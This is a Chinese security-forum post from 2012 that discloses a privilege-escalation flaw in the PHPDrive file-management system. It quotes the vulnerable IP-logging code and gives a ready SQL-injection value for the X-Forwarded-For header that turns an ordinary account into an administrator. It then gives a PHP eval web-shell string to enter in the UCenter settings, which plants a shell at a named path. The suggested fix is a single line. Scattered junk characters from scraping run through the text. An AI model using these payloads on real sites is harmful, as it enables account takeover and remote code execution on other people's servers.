找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2390|回复: 0
打印 上一主题 下一主题

PHPDrive权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:18:34 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等; V$ w# b# J  h; x3 s5 t

! _3 F9 f6 V1 N1 w" y5 Pincludes/user.lib.php
+ {# C. @9 ?+ Z# }行878 v. C8 I3 E& D) L7 s7 ^  `
function get_ip() {9 q$ V2 _5 a+ d& K0 B: C2 y
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.
# Y( D1 O) y/ ^1 k在用户注册与登录 处module/disk/account.lead.php* c( m# }/ c  G* m4 ]1 `% u
198行 - }/ @- g# ]$ ]. b' _* F: D
//更新本次登录IP和时间  j, Q$ w- F2 F  I* \" E1 }
             $db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生* e  f# L- \" [3 M
由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限
4 `, K# p2 h/ E实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.
( h2 _) u0 _1 Z+ i# `+ F' j后台getshell:
% ?3 M' a# _) M) d+ V, g在UCenter设置处,将UC数据库登录名填写为
+ q, I8 d4 k- { 3 r' j# d5 _( w+ }# C4 G3 E
root’);eval($_POST[DisKill]);?>/*
5 p( X4 S  t" S可以得到一个shell,位置在 data/uc.data.php
8 f0 R2 j9 z$ \2 k+ v: P3 Y8 u! N$ q) q2 i
修复:过滤注入
- d* Z' w/ _0 g7 g! [+ |5 {2 W( ?# r& B  X/ g* {2 N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表